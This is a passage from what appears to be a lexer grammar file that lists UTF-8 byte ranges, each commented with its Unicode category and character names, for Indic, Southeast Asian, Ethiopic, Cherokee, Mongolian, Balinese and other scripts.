0x81..0x84    #Mc   [4] TELUGU VOWEL SIGN U..TELUGU VOWEL ...\n      | 0xE0 0xB1 0x86..0x88    #Mn   [3] TELUGU VOWEL SIGN E..TELUGU VOWEL ...\n      | 0xE0 0xB1 0x8A..0x8D    #Mn   [4] TELUGU VOWEL SIGN O..TELUGU SIGN V...\n      | 0xE0 0xB1 0x95..0x96    #Mn   [2] TELUGU LENGTH MARK..TELUGU AI LENG...\n      | 0xE0 0xB1 0x98..0x9A    #Lo   [3] TELUGU LETTER TSA..TELUGU LETTER RRRA\n      | 0xE0 0xB1 0xA0..0xA1    #Lo   [2] TELUGU LETTER VOCALIC RR..TELUGU L...\n      | 0xE0 0xB1 0xA2..0xA3    #Mn   [2] TELUGU VOWEL SIGN VOCALIC L..TELUG...\n      | 0xE0 0xB1 0xA6..0xAF    #Nd  [10] TELUGU DIGIT ZERO..TELUGU DIGIT NINE\n      | 0xE0 0xB2 0x80          #Lo       KANNADA SIGN SPACING CANDRABINDU\n      | 0xE0 0xB2 0x81          #Mn       KANNADA SIGN CANDRABINDU\n      | 0xE0 0xB2 0x82..0x83    #Mc   [2] KANNADA SIGN ANUSVARA..KANNADA SIG...\n      | 0xE0 0xB2 0x85..0x8C    #Lo   [8] KANNADA LETTER A..KANNADA LETTER V...\n      | 0xE0 0xB2 0x8E..0x90    #Lo   [3] KANNADA LETTER E..KANNADA LETTER AI\n      | 0xE0 0xB2 0x92..0xA8    #Lo  [23] KANNADA LETTER O..KANNADA LETTER NA\n      | 0xE0 0xB2 0xAA..0xB3    #Lo  [10] KANNADA LETTER PA..KANNADA LETTER LLA\n      | 0xE0 0xB2 0xB5..0xB9    #Lo   [5] KANNADA LETTER VA..KANNADA LETTER HA\n      | 0xE0 0xB2 0xBC          #Mn       KANNADA SIGN NUKTA\n      | 0xE0 0xB2 0xBD          #Lo       KANNADA SIGN AVAGRAHA\n      | 0xE0 0xB2 0xBE          #Mc       KANNADA VOWEL SIGN AA\n      | 0xE0 0xB2 0xBF          #Mn       KANNADA VOWEL SIGN I\n      | 0xE0 0xB3 0x80..0x84    #Mc   [5] KANNADA VOWEL SIGN II..KANNADA VOW...\n      | 0xE0 0xB3 0x86          #Mn       KANNADA VOWEL SIGN E\n      | 0xE0 0xB3 0x87..0x88    #Mc   [2] KANNADA VOWEL SIGN EE..KANNADA VOW...\n      | 0xE0 0xB3 0x8A..0x8B    #Mc   [2] KANNADA VOWEL SIGN O..KANNADA VOWE...\n      | 0xE0 0xB3 0x8C..0x8D    #Mn   [2] KANNADA VOWEL SIGN AU..KANNADA SIG...\n      | 0xE0 0xB3 0x95..0x96    #Mc   [2] KANNADA LENGTH MARK..KANNADA AI LE...\n      | 0xE0 0xB3 0x9E          #Lo       KANNADA LETTER FA\n      | 0xE0 0xB3 0xA0..0xA1    #Lo   [2] KANNADA LETTER VOCALIC RR..KANNADA...\n      | 0xE0 0xB3 0xA2..0xA3    #Mn   [2] KANNADA VOWEL SIGN VOCALIC L..KANN...\n      | 0xE0 0xB3 0xA6..0xAF    #Nd  [10] KANNADA DIGIT ZERO..KANNADA DIGIT ...\n      | 0xE0 0xB3 0xB1..0xB2    #Lo   [2] KANNADA SIGN JIHVAMULIYA..KANNADA ...\n      | 0xE0 0xB4 0x81          #Mn       MALAYALAM SIGN CANDRABINDU\n      | 0xE0 0xB4 0x82..0x83    #Mc   [2] MALAYALAM SIGN ANUSVARA..MALAYALAM...\n      | 0xE0 0xB4 0x85..0x8C    #Lo   [8] MALAYALAM LETTER A..MALAYALAM LETT...\n      | 0xE0 0xB4 0x8E..0x90    #Lo   [3] MALAYALAM LETTER E..MALAYALAM LETT...\n      | 0xE0 0xB4 0x92..0xBA    #Lo  [41] MALAYALAM LETTER O..MALAYALAM LETT...\n      | 0xE0 0xB4 0xBD          #Lo       MALAYALAM SIGN AVAGRAHA\n      | 0xE0 0xB4 0xBE..0xFF    #Mc   [3] MALAYALAM VOWEL SIGN AA..MALAYALAM...\n      | 0xE0 0xB5 0x00..0x80    #\n      | 0xE0 0xB5 0x81..0x84    #Mn   [4] MALAYALAM VOWEL SIGN U..MALAYALAM ...\n      | 0xE0 0xB5 0x86..0x88    #Mc   [3] MALAYALAM VOWEL SIGN E..MALAYALAM ...\n      | 0xE0 0xB5 0x8A..0x8C    #Mc   [3] MALAYALAM VOWEL SIGN O..MALAYALAM ...\n      | 0xE0 0xB5 0x8D          #Mn       MALAYALAM SIGN VIRAMA\n      | 0xE0 0xB5 0x8E          #Lo       MALAYALAM LETTER DOT REPH\n      | 0xE0 0xB5 0x94..0x96    #Lo   [3] MALAYALAM LETTER CHILLU M..MALAYAL...\n      | 0xE0 0xB5 0x97          #Mc       MALAYALAM AU LENGTH MARK\n      | 0xE0 0xB5 0x9F..0xA1    #Lo   [3] MALAYALAM LETTER ARCHAIC II..MALAY...\n      | 0xE0 0xB5 0xA2..0xA3    #Mn   [2] MALAYALAM VOWEL SIGN VOCALIC L..MA...\n      | 0xE0 0xB5 0xA6..0xAF    #Nd  [10] MALAYALAM DIGIT ZERO..MALAYALAM DI...\n      | 0xE0 0xB5 0xBA..0xBF    #Lo   [6] MALAYALAM LETTER CHILLU NN..MALAYA...\n      | 0xE0 0xB6 0x82..0x83    #Mc   [2] SINHALA SIGN ANUSVARAYA..SINHALA S...\n      | 0xE0 0xB6 0x85..0x96    #Lo  [18] SINHALA LETTER AYANNA..SINHALA LET...\n      | 0xE0 0xB6 0x9A..0xB1    #Lo  [24] SINHALA LETTER ALPAPRAANA KAYANNA....\n      | 0xE0 0xB6 0xB3..0xBB    #Lo   [9] SINHALA LETTER SANYAKA DAYANNA..SI...\n      | 0xE0 0xB6 0xBD          #Lo       SINHALA LETTER DANTAJA LAYANNA\n      | 0xE0 0xB7 0x80..0x86    #Lo   [7] SINHALA LETTER VAYANNA..SINHALA LE...\n      | 0xE0 0xB7 0x8A          #Mn       SINHALA SIGN AL-LAKUNA\n      | 0xE0 0xB7 0x8F..0x91    #Mc   [3] SINHALA VOWEL SIGN AELA-PILLA..SIN...\n      | 0xE0 0xB7 0x92..0x94    #Mn   [3] SINHALA VOWEL SIGN KETTI IS-PILLA....\n      | 0xE0 0xB7 0x96          #Mn       SINHALA VOWEL SIGN DIGA PAA-PILLA\n      | 0xE0 0xB7 0x98..0x9F    #Mc   [8] SINHALA VOWEL SIGN GAETTA-PILLA..S...\n      | 0xE0 0xB7 0xA6..0xAF    #Nd  [10] SINHALA LITH DIGIT ZERO..SINHALA L...\n      | 0xE0 0xB7 0xB2..0xB3    #Mc   [2] SINHALA VOWEL SIGN DIGA GAETTA-PIL...\n      | 0xE0 0xB8 0x81..0xB0    #Lo  [48] THAI CHARACTER KO KAI..THAI CHARAC...\n      | 0xE0 0xB8 0xB1          #Mn       THAI CHARACTER MAI HAN-AKAT\n      | 0xE0 0xB8 0xB2..0xB3    #Lo   [2] THAI CHARACTER SARA AA..THAI CHARA...\n      | 0xE0 0xB8 0xB4..0xBA    #Mn   [7] THAI CHARACTER SARA I..THAI CHARAC...\n      | 0xE0 0xB9 0x80..0x85    #Lo   [6] THAI CHARACTER SARA E..THAI CHARAC...\n      | 0xE0 0xB9 0x86          #Lm       THAI CHARACTER MAIYAMOK\n      | 0xE0 0xB9 0x87..0x8E    #Mn   [8] THAI CHARACTER MAITAIKHU..THAI CHA...\n      | 0xE0 0xB9 0x90..0x99    #Nd  [10] THAI DIGIT ZERO..THAI DIGIT NINE\n      | 0xE0 0xBA 0x81..0x82    #Lo   [2] LAO LETTER KO..LAO LETTER KHO SUNG\n      | 0xE0 0xBA 0x84          #Lo       LAO LETTER KHO TAM\n      | 0xE0 0xBA 0x87..0x88    #Lo   [2] LAO LETTER NGO..LAO LETTER CO\n      | 0xE0 0xBA 0x8A          #Lo       LAO LETTER SO TAM\n      | 0xE0 0xBA 0x8D          #Lo       LAO LETTER NYO\n      | 0xE0 0xBA 0x94..0x97    #Lo   [4] LAO LETTER DO..LAO LETTER THO TAM\n      | 0xE0 0xBA 0x99..0x9F    #Lo   [7] LAO LETTER NO..LAO LETTER FO SUNG\n      | 0xE0 0xBA 0xA1..0xA3    #Lo   [3] LAO LETTER MO..LAO LETTER LO LING\n      | 0xE0 0xBA 0xA5          #Lo       LAO LETTER LO LOOT\n      | 0xE0 0xBA 0xA7          #Lo       LAO LETTER WO\n      | 0xE0 0xBA 0xAA..0xAB    #Lo   [2] LAO LETTER SO SUNG..LAO LETTER HO ...\n      | 0xE0 0xBA 0xAD..0xB0    #Lo   [4] LAO LETTER O..LAO VOWEL SIGN A\n      | 0xE0 0xBA 0xB1          #Mn       LAO VOWEL SIGN MAI KAN\n      | 0xE0 0xBA 0xB2..0xB3    #Lo   [2] LAO VOWEL SIGN AA..LAO VOWEL SIGN AM\n      | 0xE0 0xBA 0xB4..0xB9    #Mn   [6] LAO VOWEL SIGN I..LAO VOWEL SIGN UU\n      | 0xE0 0xBA 0xBB..0xBC    #Mn   [2] LAO VOWEL SIGN MAI KON..LAO SEMIVO...\n      | 0xE0 0xBA 0xBD          #Lo       LAO SEMIVOWEL SIGN NYO\n      | 0xE0 0xBB 0x80..0x84    #Lo   [5] LAO VOWEL SIGN E..LAO VOWEL SIGN AI\n      | 0xE0 0xBB 0x86          #Lm       LAO KO LA\n      | 0xE0 0xBB 0x88..0x8D    #Mn   [6] LAO TONE MAI EK..LAO NIGGAHITA\n      | 0xE0 0xBB 0x90..0x99    #Nd  [10] LAO DIGIT ZERO..LAO DIGIT NINE\n      | 0xE0 0xBB 0x9C..0x9F    #Lo   [4] LAO HO NO..LAO LETTER KHMU NYO\n      | 0xE0 0xBC 0x80          #Lo       TIBETAN SYLLABLE OM\n      | 0xE0 0xBC 0x98..0x99    #Mn   [2] TIBETAN ASTROLOGICAL SIGN -KHYUD P...\n      | 0xE0 0xBC 0xA0..0xA9    #Nd  [10] TIBETAN DIGIT ZERO..TIBETAN DIGIT ...\n      | 0xE0 0xBC 0xB5          #Mn       TIBETAN MARK NGAS BZUNG NYI ZLA\n      | 0xE0 0xBC 0xB7          #Mn       TIBETAN MARK NGAS BZUNG SGOR RTAGS\n      | 0xE0 0xBC 0xB9          #Mn       TIBETAN MARK TSA -PHRU\n      | 0xE0 0xBC 0xBE..0xBF    #Mc   [2] TIBETAN SIGN YAR TSHES..TIBETAN SI...\n      | 0xE0 0xBD 0x80..0x87    #Lo   [8] TIBETAN LETTER KA..TIBETAN LETTER JA\n      | 0xE0 0xBD 0x89..0xAC    #Lo  [36] TIBETAN LETTER NYA..TIBETAN LETTER...\n      | 0xE0 0xBD 0xB1..0xBE    #Mn  [14] TIBETAN VOWEL SIGN AA..TIBETAN SIG...\n      | 0xE0 0xBD 0xBF          #Mc       TIBETAN SIGN RNAM BCAD\n      | 0xE0 0xBE 0x80..0x84    #Mn   [5] TIBETAN VOWEL SIGN REVERSED I..TIB...\n      | 0xE0 0xBE 0x86..0x87    #Mn   [2] TIBETAN SIGN LCI RTAGS..TIBETAN SI...\n      | 0xE0 0xBE 0x88..0x8C    #Lo   [5] TIBETAN SIGN LCE TSA CAN..TIBETAN ...\n      | 0xE0 0xBE 0x8D..0x97    #Mn  [11] TIBETAN SUBJOINED SIGN LCE TSA CAN...\n      | 0xE0 0xBE 0x99..0xBC    #Mn  [36] TIBETAN SUBJOINED LETTER NYA..TIBE...\n      | 0xE0 0xBF 0x86          #Mn       TIBETAN SYMBOL PADMA GDAN\n      | 0xE1 0x80 0x80..0xAA    #Lo  [43] MYANMAR LETTER KA..MYANMAR LETTER AU\n      | 0xE1 0x80 0xAB..0xAC    #Mc   [2] MYANMAR VOWEL SIGN TALL AA..MYANMA...\n      | 0xE1 0x80 0xAD..0xB0    #Mn   [4] MYANMAR VOWEL SIGN I..MYANMAR VOWE...\n      | 0xE1 0x80 0xB1          #Mc       MYANMAR VOWEL SIGN E\n      | 0xE1 0x80 0xB2..0xB7    #Mn   [6] MYANMAR VOWEL SIGN AI..MYANMAR SIG...\n      | 0xE1 0x80 0xB8          #Mc       MYANMAR SIGN VISARGA\n      | 0xE1 0x80 0xB9..0xBA    #Mn   [2] MYANMAR SIGN VIRAMA..MYANMAR SIGN ...\n      | 0xE1 0x80 0xBB..0xBC    #Mc   [2] MYANMAR CONSONANT SIGN MEDIAL YA.....\n      | 0xE1 0x80 0xBD..0xBE    #Mn   [2] MYANMAR CONSONANT SIGN MEDIAL WA.....\n      | 0xE1 0x80 0xBF          #Lo       MYANMAR LETTER GREAT SA\n      | 0xE1 0x81 0x80..0x89    #Nd  [10] MYANMAR DIGIT ZERO..MYANMAR DIGIT ...\n      | 0xE1 0x81 0x90..0x95    #Lo   [6] MYANMAR LETTER SHA..MYANMAR LETTER...\n      | 0xE1 0x81 0x96..0x97    #Mc   [2] MYANMAR VOWEL SIGN VOCALIC R..MYAN...\n      | 0xE1 0x81 0x98..0x99    #Mn   [2] MYANMAR VOWEL SIGN VOCALIC L..MYAN...\n      | 0xE1 0x81 0x9A..0x9D    #Lo   [4] MYANMAR LETTER MON NGA..MYANMAR LE...\n      | 0xE1 0x81 0x9E..0xA0    #Mn   [3] MYANMAR CONSONANT SIGN MON MEDIAL ...\n      | 0xE1 0x81 0xA1          #Lo       MYANMAR LETTER SGAW KAREN SHA\n      | 0xE1 0x81 0xA2..0xA4    #Mc   [3] MYANMAR VOWEL SIGN SGAW KAREN EU.....\n      | 0xE1 0x81 0xA5..0xA6    #Lo   [2] MYANMAR LETTER WESTERN PWO KAREN T...\n      | 0xE1 0x81 0xA7..0xAD    #Mc   [7] MYANMAR VOWEL SIGN WESTERN PWO KAR...\n      | 0xE1 0x81 0xAE..0xB0    #Lo   [3] MYANMAR LETTER EASTERN PWO KAREN N...\n      | 0xE1 0x81 0xB1..0xB4    #Mn   [4] MYANMAR VOWEL SIGN GEBA KAREN I..M...\n      | 0xE1 0x81 0xB5..0xFF    #Lo  [13] MYANMAR LETTER SHAN KA..MYANMAR LE...\n      | 0xE1 0x82 0x00..0x81    #\n      | 0xE1 0x82 0x82          #Mn       MYANMAR CONSONANT SIGN SHAN MEDIAL WA\n      | 0xE1 0x82 0x83..0x84    #Mc   [2] MYANMAR VOWEL SIGN SHAN AA..MYANMA...\n      | 0xE1 0x82 0x85..0x86    #Mn   [2] MYANMAR VOWEL SIGN SHAN E ABOVE..M...\n      | 0xE1 0x82 0x87..0x8C    #Mc   [6] MYANMAR SIGN SHAN TONE-2..MYANMAR ...\n      | 0xE1 0x82 0x8D          #Mn       MYANMAR SIGN SHAN COUNCIL EMPHATIC...\n      | 0xE1 0x82 0x8E          #Lo       MYANMAR LETTER RUMAI PALAUNG FA\n      | 0xE1 0x82 0x8F          #Mc       MYANMAR SIGN RUMAI PALAUNG TONE-5\n      | 0xE1 0x82 0x90..0x99    #Nd  [10] MYANMAR SHAN DIGIT ZERO..MYANMAR S...\n      | 0xE1 0x82 0x9A..0x9C    #Mc   [3] MYANMAR SIGN KHAMTI TONE-1..MYANMA...\n      | 0xE1 0x82 0x9D          #Mn       MYANMAR VOWEL SIGN AITON AI\n      | 0xE1 0x82 0xA0..0xFF    #L&  [38] GEORGIAN CAPITAL LETTER AN..GEORGI...\n      | 0xE1 0x83 0x00..0x85    #\n      | 0xE1 0x83 0x87          #L&       GEORGIAN CAPITAL LETTER YN\n      | 0xE1 0x83 0x8D          #L&       GEORGIAN CAPITAL LETTER AEN\n      | 0xE1 0x83 0x90..0xBA    #Lo  [43] GEORGIAN LETTER AN..GEORGIAN LETTE...\n      | 0xE1 0x83 0xBC          #Lm       MODIFIER LETTER GEORGIAN NAR\n      | 0xE1 0x83 0xBD..0xFF        #Lo [332] GEORGIAN LETTER AEN..ETHIOPIC ...\n      | 0xE1 0x84..0x88 0x00..0xFF  #\n      | 0xE1 0x89 0x00..0x88        #\n      | 0xE1 0x89 0x8A..0x8D    #Lo   [4] ETHIOPIC SYLLABLE QWI..ETHIOPIC SY...\n      | 0xE1 0x89 0x90..0x96    #Lo   [7] ETHIOPIC SYLLABLE QHA..ETHIOPIC SY...\n      | 0xE1 0x89 0x98          #Lo       ETHIOPIC SYLLABLE QHWA\n      | 0xE1 0x89 0x9A..0x9D    #Lo   [4] ETHIOPIC SYLLABLE QHWI..ETHIOPIC S...\n      | 0xE1 0x89 0xA0..0xFF    #Lo  [41] ETHIOPIC SYLLABLE BA..ETHIOPIC SYL...\n      | 0xE1 0x8A 0x00..0x88    #\n      | 0xE1 0x8A 0x8A..0x8D    #Lo   [4] ETHIOPIC SYLLABLE XWI..ETHIOPIC SY...\n      | 0xE1 0x8A 0x90..0xB0    #Lo  [33] ETHIOPIC SYLLABLE NA..ETHIOPIC SYL...\n      | 0xE1 0x8A 0xB2..0xB5    #Lo   [4] ETHIOPIC SYLLABLE KWI..ETHIOPIC SY...\n      | 0xE1 0x8A 0xB8..0xBE    #Lo   [7] ETHIOPIC SYLLABLE KXA..ETHIOPIC SY...\n      | 0xE1 0x8B 0x80          #Lo       ETHIOPIC SYLLABLE KXWA\n      | 0xE1 0x8B 0x82..0x85    #Lo   [4] ETHIOPIC SYLLABLE KXWI..ETHIOPIC S...\n      | 0xE1 0x8B 0x88..0x96    #Lo  [15] ETHIOPIC SYLLABLE WA..ETHIOPIC SYL...\n      | 0xE1 0x8B 0x98..0xFF    #Lo  [57] ETHIOPIC SYLLABLE ZA..ETHIOPIC SYL...\n      | 0xE1 0x8C 0x00..0x90    #\n      | 0xE1 0x8C 0x92..0x95    #Lo   [4] ETHIOPIC SYLLABLE GWI..ETHIOPIC SY...\n      | 0xE1 0x8C 0x98..0xFF    #Lo  [67] ETHIOPIC SYLLABLE GGA..ETHIOPIC SY...\n      | 0xE1 0x8D 0x00..0x9A    #\n      | 0xE1 0x8D 0x9D..0x9F    #Mn   [3] ETHIOPIC COMBINING GEMINATION AND ...\n      | 0xE1 0x8D 0xA9..0xB1    #No   [9] ETHIOPIC DIGIT ONE..ETHIOPIC DIGIT...\n      | 0xE1 0x8E 0x80..0x8F    #Lo  [16] ETHIOPIC SYLLABLE SEBATBEIT MWA..E...\n      | 0xE1 0x8E 0xA0..0xFF    #L&  [86] CHEROKEE LETTER A..CHEROKEE LETTER MV\n      | 0xE1 0x8F 0x00..0xB5    #\n      | 0xE1 0x8F 0xB8..0xBD    #L&   [6] CHEROKEE SMALL LETTER YE..CHEROKEE...\n      | 0xE1 0x90 0x81..0xFF        #Lo [620] CANADIAN SYLLABICS E..CANADIAN...\n      | 0xE1 0x91..0x98 0x00..0xFF  #\n      | 0xE1 0x99 0x00..0xAC        #\n      | 0xE1 0x99 0xAF..0xBF    #Lo  [17] CANADIAN SYLLABICS QAI..CANADIAN S...\n      | 0xE1 0x9A 0x81..0x9A    #Lo  [26] OGHAM LETTER BEITH..OGHAM LETTER P...\n      | 0xE1 0x9A 0xA0..0xFF    #Lo  [75] RUNIC LETTER FEHU FEOH FE F..RUNIC...\n      | 0xE1 0x9B 0x00..0xAA    #\n      | 0xE1 0x9B 0xAE..0xB0    #Nl   [3] RUNIC ARLAUG SYMBOL..RUNIC BELGTHO...\n      | 0xE1 0x9B 0xB1..0xB8    #Lo   [8] RUNIC LETTER K..RUNIC LETTER FRANK...\n      | 0xE1 0x9C 0x80..0x8C    #Lo  [13] TAGALOG LETTER A..TAGALOG LETTER YA\n      | 0xE1 0x9C 0x8E..0x91    #Lo   [4] TAGALOG LETTER LA..TAGALOG LETTER HA\n      | 0xE1 0x9C 0x92..0x94    #Mn   [3] TAGALOG VOWEL SIGN I..TAGALOG SIGN...\n      | 0xE1 0x9C 0xA0..0xB1    #Lo  [18] HANUNOO LETTER A..HANUNOO LETTER HA\n      | 0xE1 0x9C 0xB2..0xB4    #Mn   [3] HANUNOO VOWEL SIGN I..HANUNOO SIGN...\n      | 0xE1 0x9D 0x80..0x91    #Lo  [18] BUHID LETTER A..BUHID LETTER HA\n      | 0xE1 0x9D 0x92..0x93    #Mn   [2] BUHID VOWEL SIGN I..BUHID VOWEL SI...\n      | 0xE1 0x9D 0xA0..0xAC    #Lo  [13] TAGBANWA LETTER A..TAGBANWA LETTER YA\n      | 0xE1 0x9D 0xAE..0xB0    #Lo   [3] TAGBANWA LETTER LA..TAGBANWA LETTE...\n      | 0xE1 0x9D 0xB2..0xB3    #Mn   [2] TAGBANWA VOWEL SIGN I..TAGBANWA VO...\n      | 0xE1 0x9E 0x80..0xB3    #Lo  [52] KHMER LETTER KA..KHMER INDEPENDENT...\n      | 0xE1 0x9E 0xB4..0xB5    #Mn   [2] KHMER VOWEL INHERENT AQ..KHMER VOW...\n      | 0xE1 0x9E 0xB6          #Mc       KHMER VOWEL SIGN AA\n      | 0xE1 0x9E 0xB7..0xBD    #Mn   [7] KHMER VOWEL SIGN I..KHMER VOWEL SI...\n      | 0xE1 0x9E 0xBE..0xFF    #Mc   [8] KHMER VOWEL SIGN OE..KHMER VOWEL S...\n      | 0xE1 0x9F 0x00..0x85    #\n      | 0xE1 0x9F 0x86          #Mn       KHMER SIGN NIKAHIT\n      | 0xE1 0x9F 0x87..0x88    #Mc   [2] KHMER SIGN REAHMUK..KHMER SIGN YUU...\n      | 0xE1 0x9F 0x89..0x93    #Mn  [11] KHMER SIGN MUUSIKATOAN..KHMER SIGN...\n      | 0xE1 0x9F 0x97          #Lm       KHMER SIGN LEK TOO\n      | 0xE1 0x9F 0x9C          #Lo       KHMER SIGN AVAKRAHASANYA\n      | 0xE1 0x9F 0x9D          #Mn       KHMER SIGN ATTHACAN\n      | 0xE1 0x9F 0xA0..0xA9    #Nd  [10] KHMER DIGIT ZERO..KHMER DIGIT NINE\n      | 0xE1 0xA0 0x8B..0x8D    #Mn   [3] MONGOLIAN FREE VARIATION SELECTOR ...\n      | 0xE1 0xA0 0x90..0x99    #Nd  [10] MONGOLIAN DIGIT ZERO..MONGOLIAN DI...\n      | 0xE1 0xA0 0xA0..0xFF    #Lo  [35] MONGOLIAN LETTER A..MONGOLIAN LETT...\n      | 0xE1 0xA1 0x00..0x82    #\n      | 0xE1 0xA1 0x83          #Lm       MONGOLIAN LETTER TODO LONG VOWEL SIGN\n      | 0xE1 0xA1 0x84..0xB7    #Lo  [52] MONGOLIAN LETTER TODO E..MONGOLIAN...\n      | 0xE1 0xA2 0x80..0x84    #Lo   [5] MONGOLIAN LETTER ALI GALI ANUSVARA...\n      | 0xE1 0xA2 0x85..0x86    #Mn   [2] MONGOLIAN LETTER ALI GALI BALUDA.....\n      | 0xE1 0xA2 0x87..0xA8    #Lo  [34] MONGOLIAN LETTER ALI GALI A..MONGO...\n      | 0xE1 0xA2 0xA9          #Mn       MONGOLIAN LETTER ALI GALI DAGALGA\n      | 0xE1 0xA2 0xAA          #Lo       MONGOLIAN LETTER MANCHU ALI GALI LHA\n      | 0xE1 0xA2 0xB0..0xFF    #Lo  [70] CANADIAN SYLLABICS OY..CANADIAN SY...\n      | 0xE1 0xA3 0x00..0xB5    #\n      | 0xE1 0xA4 0x80..0x9E    #Lo  [31] LIMBU VOWEL-CARRIER LETTER..LIMBU ...\n      | 0xE1 0xA4 0xA0..0xA2    #Mn   [3] LIMBU VOWEL SIGN A..LIMBU VOWEL SI...\n      | 0xE1 0xA4 0xA3..0xA6    #Mc   [4] LIMBU VOWEL SIGN EE..LIMBU VOWEL S...\n      | 0xE1 0xA4 0xA7..0xA8    #Mn   [2] LIMBU VOWEL SIGN E..LIMBU VOWEL SI...\n      | 0xE1 0xA4 0xA9..0xAB    #Mc   [3] LIMBU SUBJOINED LETTER YA..LIMBU S...\n      | 0xE1 0xA4 0xB0..0xB1    #Mc   [2] LIMBU SMALL LETTER KA..LIMBU SMALL...\n      | 0xE1 0xA4 0xB2          #Mn       LIMBU SMALL LETTER ANUSVARA\n      | 0xE1 0xA4 0xB3..0xB8    #Mc   [6] LIMBU SMALL LETTER TA..LIMBU SMALL...\n      | 0xE1 0xA4 0xB9..0xBB    #Mn   [3] LIMBU SIGN MUKPHRENG..LIMBU SIGN SA-I\n      | 0xE1 0xA5 0x86..0x8F    #Nd  [10] LIMBU DIGIT ZERO..LIMBU DIGIT NINE\n      | 0xE1 0xA5 0x90..0xAD    #Lo  [30] TAI LE LETTER KA..TAI LE LETTER AI\n      | 0xE1 0xA5 0xB0..0xB4    #Lo   [5] TAI LE LETTER TONE-2..TAI LE LETTE...\n      | 0xE1 0xA6 0x80..0xAB    #Lo  [44] NEW TAI LUE LETTER HIGH QA..NEW TA...\n      | 0xE1 0xA6 0xB0..0xFF    #Lo  [26] NEW TAI LUE VOWEL SIGN VOWEL SHORT...\n      | 0xE1 0xA7 0x00..0x89    #\n      | 0xE1 0xA7 0x90..0x99    #Nd  [10] NEW TAI LUE DIGIT ZERO..NEW TAI LU...\n      | 0xE1 0xA7 0x9A          #No       NEW TAI LUE THAM DIGIT ONE\n      | 0xE1 0xA8 0x80..0x96    #Lo  [23] BUGINESE LETTER KA..BUGINESE LETTE...\n      | 0xE1 0xA8 0x97..0x98    #Mn   [2] BUGINESE VOWEL SIGN I..BUGINESE VO...\n      | 0xE1 0xA8 0x99..0x9A    #Mc   [2] BUGINESE VOWEL SIGN E..BUGINESE VO...\n      | 0xE1 0xA8 0x9B          #Mn       BUGINESE VOWEL SIGN AE\n      | 0xE1 0xA8 0xA0..0xFF    #Lo  [53] TAI THAM LETTER HIGH KA..TAI THAM ...\n      | 0xE1 0xA9 0x00..0x94    #\n      | 0xE1 0xA9 0x95          #Mc       TAI THAM CONSONANT SIGN MEDIAL RA\n      | 0xE1 0xA9 0x96          #Mn       TAI THAM CONSONANT SIGN MEDIAL LA\n      | 0xE1 0xA9 0x97          #Mc       TAI THAM CONSONANT SIGN LA TANG LAI\n      | 0xE1 0xA9 0x98..0x9E    #Mn   [7] TAI THAM SIGN MAI KANG LAI..TAI TH...\n      | 0xE1 0xA9 0xA0          #Mn       TAI THAM SIGN SAKOT\n      | 0xE1 0xA9 0xA1          #Mc       TAI THAM VOWEL SIGN A\n      | 0xE1 0xA9 0xA2          #Mn       TAI THAM VOWEL SIGN MAI SAT\n      | 0xE1 0xA9 0xA3..0xA4    #Mc   [2] TAI THAM VOWEL SIGN AA..TAI THAM V...\n      | 0xE1 0xA9 0xA5..0xAC    #Mn   [8] TAI THAM VOWEL SIGN I..TAI THAM VO...\n      | 0xE1 0xA9 0xAD..0xB2    #Mc   [6] TAI THAM VOWEL SIGN OY..TAI THAM V...\n      | 0xE1 0xA9 0xB3..0xBC    #Mn  [10] TAI THAM VOWEL SIGN OA ABOVE..TAI ...\n      | 0xE1 0xA9 0xBF          #Mn       TAI THAM COMBINING CRYPTOGRAMMIC DOT\n      | 0xE1 0xAA 0x80..0x89    #Nd  [10] TAI THAM HORA DIGIT ZERO..TAI THAM...\n      | 0xE1 0xAA 0x90..0x99    #Nd  [10] TAI THAM THAM DIGIT ZERO..TAI THAM...\n      | 0xE1 0xAA 0xA7          #Lm       TAI THAM SIGN MAI YAMOK\n      | 0xE1 0xAA 0xB0..0xBD    #Mn  [14] COMBINING DOUBLED CIRCUMFLEX ACCEN...\n      | 0xE1 0xAC 0x80..0x83    #Mn   [4] BALINESE SIGN ULU RICEM..BALINESE ...\n      | 0xE1 0xAC 0x84          #Mc       BALINESE SIGN BISAH\n      | 0xE1 0xAC 0x85..0xB3    #Lo  [47] BALINESE LETTER AKARA..BALINESE LE...\n      | 0xE1 0xAC 0xB4          #Mn       BALINESE SIGN REREKAN\n      | 0xE1 0xAC 0xB5          #Mc       BALINESE VOWEL SIGN TEDUNG\n      | 0xE1 0xAC 0xB6..0xBA    #Mn   [5] BALINESE VOWEL SIGN ULU..BALINESE ...\n      | 0xE1 0xAC 0xBB          #Mc       BALINESE VOWEL SIGN RA REPA TEDUNG\n      | 0xE1 0xAC 0xBC          #Mn       BALINESE VOWEL SIGN LA LENGA\n      | 0xE1 0xAC 0xBD..0xFF    #Mc   [5] BALINESE VOWEL SIGN LA LENGA TEDUN...\n      | 0xE1 0xAD 0x00..0x81    #\n      | 0xE1 0xAD 0x82          #Mn       BALINESE VOWEL SIGN PEPET\n      | 0xE1 0xAD 0x83..0x84    #Mc   [2] BALINESE VOWEL SIGN PEPET TEDUNG.....\n      | 0xE1 0xAD 0x85..0x8B    #Lo   [7] BALINESE LETTER KAF SASAK..BALINES...\n      | 0xE1 0xAD 0x90..0x99    #Nd  [10] BALINESE DIGIT ZERO..BALINESE DIGI...\n      | 0xE1 0xAD 0xAB..0xB3    #Mn   [9] BALINESE MUSICAL SYMBOL COMBINING ...\n      | 0xE1 0xAE 0x80..0x81    #Mn   [2] SUNDANESE SIGN PANYECEK..SUNDANESE...\n      | 0xE1 0xAE 0x82          #Mc       SUNDANESE SIGN PANGWISAD\n      | 0xE1 0xAE 0x83..0xA0    #Lo  [30] SUNDANESE LETTER A..SUNDANESE LETT...\n      | 0xE1 0xAE 0xA1          #Mc       SUNDANESE CONSONANT SIGN PAMINGKAL\n      | 0xE1 0xAE 0xA2..0xA5    #Mn   [4] SUNDANESE CONSONANT SIGN PANYAKRA....\n      | 0xE1 0xAE 0xA6..0xA7    #Mc   [2] SUNDANESE VOWEL SIGN PANAELAENG..S...\n      | 0xE1 0xAE 0xA8..0xA9    #Mn   [2] SUNDANESE VOWEL SIGN PAMEPET..SUND...\n      | 0xE1 0xAE 0xAA          #Mc       SUNDANESE SIGN PAMAAEH\n      | 0xE1 0xAE 0xAB..0xAD    #Mn   [3] SUNDANESE SIGN VIRAMA..SUNDANESE C...\n      | 0xE1 0xAE 0xAE..0xAF    #Lo   [2] SUNDANESE LETTER KHA..SUNDANESE LE...\n      | 0xE1 0xAE 0xB0..0xB9    #Nd  [10] SUNDANESE DIGIT ZERO..SUNDANESE DI...\n      | 0xE1 0xAE 0xBA..0xFF    #Lo  [44] 